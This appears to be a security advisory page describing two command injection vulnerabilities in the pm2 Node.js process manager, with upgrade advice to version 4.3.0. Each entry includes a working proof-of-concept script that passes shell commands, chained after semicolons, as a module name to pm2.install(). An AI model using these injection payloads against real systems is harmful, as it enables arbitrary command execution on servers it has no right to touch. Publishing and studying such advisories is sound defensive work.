pm2@2.4.1-beta5 vulnerabilities

pm2 is a production process manager for Node.js applications with a built-in load balancer.

Affected versions of this package are vulnerable to Command Injection. It is possible to execute arbitrary commands within the pm2.import() function when tar.gz archive is installed with a name provided as user controlled input.

PoC by bl4de

// pm2_exploit.js

'use strict'
const pm2 = require('pm2')

// payload - user controllable input
const payload = "foo.tar.gz;touch here;echo whoami>here;chmod +x here;./here>whoamreallyare"

pm2.connect(function(err) {
    if (err) {
        console.error(err)
        process.exit(2)
    }

    pm2.start({

    }, (err, apps) => {
        pm2.install(payload, {}) // injection
        pm2.disconnect()
        if (err) {
            throw err
        }
    })
})

Upgrade pm2 to version 4.3.0 or higher.

pm2 is a production process manager for Node.js applications with a built-in load balancer.

Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbitrary commands as part of user input in the Modularizer.install() method within lib/API/Modules/Modularizer.js as an unsanitized module_name variable. This input is eventually provided to the spawn() function and gets executed as a part of spawned npm install MODULE_NAME ----loglevel=error --prefix INSTALL_PATH command.

PoC by bl4de

// pm2_exploit.js


'use strict'
const pm2 = require('pm2')

// payload - user controllable input
const payload = "test;pwd;whoami;uname -a;ls -l ~/playground/Node;"

pm2.connect(function (err) {
    if (err) {
        console.error(err)
        process.exit(2)
    }

    pm2.start({
        script: 'app.js' // fake app.js to supress "No script path - aborting" error thrown from PM2
    }, (err, apps) => {
        pm2.install(payload, {}) // injection
        pm2.disconnect()
        if (err) {
            throw err
        }
    })
})

Upgrade pm2 to version 4.3.0 or higher.